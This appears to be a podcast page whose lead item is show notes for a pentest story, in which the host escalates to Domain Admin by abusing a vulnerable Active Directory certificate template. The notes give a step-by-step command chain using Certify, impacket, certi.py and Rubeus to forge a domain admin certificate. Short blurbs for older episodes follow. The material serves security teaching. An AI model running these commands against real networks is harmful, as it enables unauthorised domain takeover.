7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Avsnitt(690)

7MS #129: Embarrassing Stories

7MS #129: Embarrassing Stories

In this episode I talk about face-planting in my office at the first job I had out of college.

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7MS #128: Transparency is King

7MS #128: Transparency is King

In this episode, I talk about a restaurant infosec assessment I did, and how the recommendations coming out of that assessment didn't fit the standard "mold." I also talk about how being transparent and helpful - and NOT billing clients for every tiny little thing - is king.

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7MS #127: Intro to HIPAA Assessments

7MS #127: Intro to HIPAA Assessments

This episode covers a few HIPAA tidbits I picked up while preparing for - and executing - a HIPAA security assessment.

27 Dec 20159min

7MS #126: Get Your Name Out There

7MS #126: Get Your Name Out There

This episode isn't about infosec exactly, but it talks about how using public resources like LinkedIn, Twitter and blogs to boost your "brand" (though I hate that word) and help you get more connected to the infosec community, job leads and more!

24 Dec 20158min

7MS #125: Securing Your Life-Part 2

7MS #125: Securing Your Life-Part 2

Way back in episode #93, I talked about things you can do to secure your life (mortgage review, adequate insurance, estate planning, investments, etc.). This episode continues that train of thought and covers: getting the right amount of life insurance, getting the right home/auto coverage, as well as estate planning.

23 Dec 20157min

7MS #124: Sprinkles

7MS #124: Sprinkles

This episode is 90% a rant about how annoying carry-on luggage and air travel can be, and a 10% sprinkling of security sauce mixed in. Hence: sprinkles.

23 Dec 20158min

7MS #123: Doing a Redo Assessment

7MS #123: Doing a Redo Assessment

This episode talks about my experience in doing a "redo" security assessment, during which I struggled with the following questions: what's the best way to efficiently correct the erroneous information and make the customer happy without asking ALL the original questions over again? Especially when I have little to no time to prepare for the "redo" interview?

22 Dec 20159min

7MS #122: OFFTOPIC-An Apology to Elephants

7MS #122: OFFTOPIC-An Apology to Elephants

Preview76 wordsThis episode is about a documentary called An Apology to Elephants. It's all about the treatment (or mistreatment) of elephants, and the main message of the movie is, "Please don't go to the circus when it's in town, because you're supporting elephant abuse." Even if that message was a little heavy handed, I certainly will pass on tickets next time a circus act comes through town. You can subscribe to the 7 Minute Security podcast here.

20 Dec 20158min

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